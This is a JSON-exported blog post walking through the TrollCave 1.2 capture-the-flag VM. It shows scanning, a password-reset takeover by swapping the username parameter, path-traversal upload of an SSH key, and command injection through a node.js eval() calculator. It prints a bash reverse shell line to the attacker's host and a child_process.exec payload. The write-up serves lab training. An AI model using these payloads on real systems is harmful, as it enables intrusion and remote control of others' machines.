{"id":230,"date":"2018-07-05T18:47:36","date_gmt":"2018-07-05T23:47:36","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=230"},"modified":"2019-08-28T10:31:19","modified_gmt":"2019-08-28T14:31:19","slug":"trollcave-1-2-walkthrough","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/trollcave-1-2-walkthrough\/","title":{"rendered":"TrollCave 1.2 Walkthrough"},"content":{"rendered":"<p>This is a walkthrough of the TrollCave 1.2 vulnerable VM. You can find it on VulnHub here: <a href=\"https:\/\/www.vulnhub.com\/entry\/trollcave-12,230\/\">https:\/\/www.vulnhub.com\/entry\/trollcave-12,230\/<\/a><\/p>\n<h1>Scanning<\/h1>\n<p>I&#8217;ll start by finding the IP address of our target using netdiscover:<\/p>\n<pre>root ~ # netdiscover -i eth1 -r 10.10.1.0\/24\r\n\r\n Currently scanning: Finished!   |   Screen View: Unique Hosts\r\n\r\n 3 Captured ARP Req\/Rep packets, from 3 hosts.   Total size: 180\r\n _________________________________________________________________________\r\n   IP            At MAC Address     Count     Len  MAC Vendor \/ Hostname\r\n -------------------------------------------------------------------------\r\n 10.10.1.1       0a:00:27:00:00:02      1      60  Unknown vendor\r\n 10.10.1.10      08:00:27:d0:d7:c5      1      60  PCS Systemtechnik GmbH\r\n 10.10.1.100     08:00:27:0c:71:f1      1      60  PCS Systemtechnik GmbH<\/pre>\n<p><br class=\"\" \/>Now for some portscanning with nmap:<\/p>\n<pre>root ~ # nmap -sV -O 10.10.1.10\r\nStarting Nmap 7.70 ( https:\/\/nmap.org ) at 2018-07-03 22:28 EDT\r\nNmap scan report for 10.10.1.10\r\nHost is up (0.00036s latency).\r\nNot shown: 998 filtered ports\r\nPORT   STATE SERVICE VERSION\r\n22\/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)\r\n80\/tcp open  http    nginx 1.10.3 (Ubuntu)\r\nMAC Address: 08:00:27:D0:D7:C5 (Oracle VirtualBox virtual NIC)\r\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\r\nDevice type: general purpose\r\nRunning: Linux 3.X|4.X\r\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\r\nOS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4\r\nNetwork Distance: 1 hop\r\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/pre>\n<p>There&#8217;s only 2 services running, SSH &amp; a web server. I did run nmap again, scanning all ports this time (nmap -p- -T5 10.10.1.10) and found nothing else.<\/p>\n<h1>Enumeration<\/h1>\n<p>I&#8217;ll start by taking a look at the website &amp; see what I can find. By the way, I&#8217;ve fired up BurpSuite (community edition) to run this through a proxy &amp; see what additional information I can find that the browser won&#8217;t show:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave01.jpg\" alt=\"\" class=\"alignnone size-full wp-image-240\" width=\"932\" height=\"851\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave01.jpg 932w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave01-300x274.jpg 300w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave01-768x701.jpg 768w\" sizes=\"auto, (max-width: 932px) 100vw, 932px\" \/><\/p>\n<p>It looks like a standard blogging web app built with Ruby on Rails. That &#8220;password reset&#8221; blog post looks interesting. It says:<\/p>\n<pre>so i've been getting a lot of emails lately from users who forgot their passwords and need to reset them. because the site doesn't have one of those 'forgot password' buttons, i've been having to do all the resets manually. i'm getting really tired of it\r\n\r\nergo it's time to implement password reset. busy with this at the moment, but having trouble with site emails. you might have noticed that activation has been turned off for new users because of this.\r\n\r\nso far i've implemented a password_resets resource in rails and it's about 90% working except for the email thing. it's very frustrating. if anyone has any suggestions about how to get the email working, please drop me a pm\r\n\r\n--coderguy<\/pre>\n<p>He mentions a &#8220;password_resets&#8221; resource in rails that isn&#8217;t fully implemented. Doing a little Google searching I found that I could access this resource with the following URL: http:\/\/10.10.1.10\/password_resets\/new<\/p>\n<p>Excellent! That gets me to the password reset page. Now would be a good time to note that I enumerated all of the users by visiting each of the \/users\/ URLs that ends in a number (e.g. http:\/\/10.10.1.10\/users\/1). There were 17 in total. Here&#8217;s the results of that:<\/p>\n<pre>USER          ROLE        NUM\r\nKing          superadmin  1\r\ndave          admin       2\r\ndragon        admin       3\r\ncoderguy      admin       4\r\ncooldude89    moderator   5\r\nSir           moderator   6\r\nQ             moderator   7\r\nteflon        moderator   8\r\nTheDankMan    reg member  9\r\nartemus       reg member  10\r\nMrPotatoHead  reg member  11\r\nIan           reg member  12\r\nkev           member      13\r\nnotanother    member      14\r\nanybodyhome   member      15\r\nonlyme        member      16\r\nxer           member      17<\/pre>\n<p><br class=\"\" \/><\/p>\n<h1>Exploitation<\/h1>\n<p>The first password I tried resetting was for &#8220;king&#8221; as he&#8217;s the &#8220;superadmin.&#8221; However, I got punted back to the home page with a message saying &#8220;Can only reset normal members&#8217; passwords for now.&#8221; I tried several other users that weren&#8217;t &#8220;normal members&#8221; and got the same error. Last, I tried &#8220;xer&#8221; and found some success:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave02.jpg\" alt=\"\" class=\"alignnone size-full wp-image-247\" width=\"597\" height=\"441\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave02.jpg 597w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave02-300x222.jpg 300w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave02-166x124.jpg 166w\" sizes=\"auto, (max-width: 597px) 100vw, 597px\" \/><\/p>\n<p>Great! I took that URL and put it in a new tab. This took me to the Reset Password page.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave03.jpg\" alt=\"\" class=\"alignnone size-full wp-image-248\" width=\"596\" height=\"461\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave03.jpg 596w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave03-300x232.jpg 300w\" sizes=\"auto, (max-width: 596px) 100vw, 596px\" \/><\/p>\n<p>But I don&#8217;t want access to a regular user. I want an admin, preferably a &#8220;superadmin.&#8221; So I changed the URL from &#8220;http:\/\/10.10.1.10\/password_resets\/edit.q-g9qjeKaeAoEDxY7bRagw?name=xer&#8221; to &#8220;http:\/\/10.10.1.10\/password_resets\/edit.q-g9qjeKaeAoEDxY7bRagw?name=King&#8221; and it still took me to a password reset page! I set a new password &amp; was logged in as King! And it looks like I now have access to some additional blog posts only visible to admins:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave04.jpg\" alt=\"\" class=\"alignnone size-full wp-image-250\" width=\"868\" height=\"765\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave04.jpg 868w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave04-300x264.jpg 300w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave04-768x677.jpg 768w\" sizes=\"auto, (max-width: 868px) 100vw, 868px\" \/><\/p>\n<p>Now the first thing I&#8217;m thinking of is uploading a PHP reverse shell. In the &#8220;The King is Dead. Long Live the King!&#8221; blog post, the user, dragon, states that King will be gone for a while and he&#8217;s using the account now. In a comment, he also states that, &#8220;File upload will be re-enabled once coderguy has addressed the security concerns around the functionality.&#8221; So this should be a good place to start.<\/p>\n<p>First, I go to the &#8220;Admin panel&#8221; and enable file upload. Next, I&#8217;ll go to the &#8220;File manager&#8221; page. I took <a href=\"http:\/\/pentestmonkey.net\/tools\/web-shells\/php-reverse-shell\">pentestmonkey&#8217;s PHP reverse shell<\/a>, modified the IP variable, started a netcat listener (# nc -vnlp 1234), uploaded the file, and accessed the URL (http:\/\/10.10.1.10\/uploads\/King\/php-reverse-shell.php). However, all I got was a page with the source code. Looks like PHP isn&#8217;t running.<\/p>\n<p>I messed around with this (for a lot longer than I&#8217;d like to admit), uploading various files including HTML with embedded ruby script. Nothing seemed to work. Then I tried uploading to other locations. Seems you can upload to other locations by specifying it in the &#8220;Alternate file name&#8221; box. I uploaded a test.html file with &#8220;..\/..\/test.html&#8221; as an alternate file name and it got uploaded to the www root directory (http:\/\/10.10.1.10\/test.html).<\/p>\n<p>Looking at that last screenshot, you can see that coderguy is using the &#8220;rails&#8221; user. And we know that SSH is running. Let&#8217;s see if we can set the &#8220;authorized_keys&#8221; file for the &#8220;rails&#8221; user. I uploaded my &#8220;\/root\/.ssh\/id_rsa.pub&#8221; file:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave05.jpg\" alt=\"\" class=\"alignnone size-full wp-image-256\" width=\"586\" height=\"312\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave05.jpg 586w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave05-300x160.jpg 300w\" sizes=\"auto, (max-width: 586px) 100vw, 586px\" \/><\/p>\n<p>After the upload I was to SSH into the machine!<\/p>\n<pre>root ~ # ssh rails@10.10.1.10\r\nThe authenticity of host '10.10.1.10 (10.10.1.10)' can't be established.\r\nECDSA key fingerprint is SHA256:5i\/FfNIcrHa44dcYPjVa145eHfSZYZESRXiv0d62SeE.\r\nAre you sure you want to continue connecting (yes\/no)? yes\r\nWarning: Permanently added '10.10.1.10' (ECDSA) to the list of known hosts.\r\nEnter passphrase for key '\/root\/.ssh\/id_rsa': \r\nWelcome to Ubuntu 16.04.4 LTS (GNU\/Linux 4.4.0-116-generic x86_64)\r\n\r\n * Documentation:  https:\/\/help.ubuntu.com\r\n * Management:     https:\/\/landscape.canonical.com\r\n * Support:        https:\/\/ubuntu.com\/advantage\r\n\r\n0 packages can be updated.\r\n0 updates are security updates.\r\n\r\n\r\nLast login: Thu Jul  5 19:39:21 2018 from 10.10.1.2\r\n$ id\r\nuid=1001(rails) gid=1001(rails) groups=1001(rails)\r\n$<\/pre>\n<p><br class=\"\" \/><\/p>\n<h1>Privilege Escalation<\/h1>\n<p>After digging around a bit, the &#8220;king&#8221; user has an interesting node.js app in \/home\/king\/calc\/calc.js. One line in particular (http.createServer(onRequest).listen(8888, &#8216;127.0.0.1&#8217;);) made me think that this was a running server.<\/p>\n<pre>$ ps aux | grep calc\r\nking     21522  0.0  2.8 744952 21316 ?        Ssl  22:59   0:00 \/usr\/bin\/nodejs \/home\/king\/calc\/calc.js\r\n$ netstat -pant\r\n(Not all processes could be identified, non-owned process info\r\n will not be shown, you would have to be root to see it all.)\r\nActive Internet connections (servers and established)\r\nProto Recv-Q Send-Q Local Address           Foreign Address         State       PID\/Program name\r\ntcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               \r\ntcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -\r\n<\/pre>\n<p>As you can see, something is indeed running and only listening on localhost. So I setup an SSH tunnel to use as a SOCKS proxy so my browser can access this application.<\/p>\n<pre>root ~ # ssh -D 9999 -fCqN rails@10.10.1.10<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave06.jpg\" alt=\"\" class=\"alignnone size-full wp-image-260\" width=\"403\" height=\"199\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave06.jpg 403w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave06-300x148.jpg 300w\" sizes=\"auto, (max-width: 403px) 100vw, 403px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave07.jpg\" alt=\"\" class=\"alignnone size-full wp-image-261\" width=\"750\" height=\"393\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave07.jpg 750w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/07\/TrollCave07-300x157.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p>And of course it doen&#8217;t seem to be working right. Looking at the script, I noticed that the &#8220;calc&#8221; function uses the javascript &#8220;eval()&#8221; function. After doing some research &amp; realizing this was vulnerable, I messed around with it using curl while SSH&#8217;ed into the machine.<\/p>\n<pre>$ bash\r\nrails@trollcave:~$ curl 127.0.0.1:8888\r\n&lt;h1&gt;The King's Calculator&lt;\/h1&gt;&lt;p&gt;Enter your calculation below:&lt;\/p&gt;&lt;form action='\/calc' method='get'&gt;&lt;input type='text' name='sum' value='1+1'&gt;&lt;input type='submit' value='Calculate!'&gt;&lt;\/form&gt;&lt;hr style='margin-top:50%'&gt;&lt;small&gt;&lt;i&gt;Powered by node.js&lt;\/i&gt;&lt;\/small&gt;\r\nrails@trollcave:~$ curl 127.0.0.1:8888\/calc\r\ncurl: (52) Empty reply from server\r\nrails@trollcave:~$ curl 127.0.0.1:8888\/calc?sum=1%2B1\r\ncurl: (52) Empty reply from server\r\nrails@trollcave:~$ curl \"127.0.0.1:8888\/calc?sum=require('child_process').exec('id')\"\r\n[object Object]<\/pre>\n<p>That &#8220;[object Object]&#8221; makes me think it&#8217;s working. After playing around some more, it seems that any command with a space after it won&#8217;t work. So I wrote a small bash script using <a href=\"http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\">pentestmonkey&#8217;s Bash reverse shell<\/a>.<\/p>\n<pre>rails@trollcave:~$ cat test.sh\r\n#!\/usr\/bin\/env bash\r\nbash -i &gt;&amp; \/dev\/tcp\/10.10.1.2\/4444 0&gt;&amp;1<\/pre>\n<p><br class=\"\" \/>I started a netcat listener on my kali machine and executed the script:<\/p>\n<pre>rails@trollcave:~$ curl \"127.0.0.1:8888\/calc?sum=require('child_process').exec('\/home\/rails\/test.sh')\"\r\n[object Object]<\/pre>\n<pre>root ~ # nc -vnlp 4444\r\nlistening on [any] 4444 ...\r\nconnect to [10.10.1.2] from (UNKNOWN) [10.10.1.10] 51852\r\nbash: cannot set terminal process group (22050): Inappropriate ioctl for device\r\nbash: no job control in this shell\r\nking@trollcave:~\/calc$ sudo -i\r\nsudo -i\r\nmesg: ttyname failed: Inappropriate ioctl for device\r\ncd \/root\r\nls\r\nflag.txt\r\ncat flag.txt\r\net tu, dragon?\r\n\r\nc0db34ce8adaa7c07d064cc1697e3d7cb8aec9d5a0c4809d5a0c4809b6be23044d15379c5<\/pre>\n<p><br class=\"\" \/>Apparently King has passwordless sudo privileges. Lucky for me!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is a walkthrough of the TrollCave 1.2 vulnerable VM. You can find it on VulnHub here: https:\/\/www.vulnhub.com\/entry\/trollcave-12,230\/ Scanning I&#8217;ll start by finding the IP address of our target using<a href=\"https:\/\/blog.lamarranet.com\/index.php\/trollcave-1-2-walkthrough\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">TrollCave 1.2 Walkthrough<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-230","post","type-post","status-publish","format-standard","hentry","category-vulnhub"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/230","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=230"}],"version-history":[{"count":28,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/230\/revisions"}],"predecessor-version":[{"id":267,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/230\/revisions\/267"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=230"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=230"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}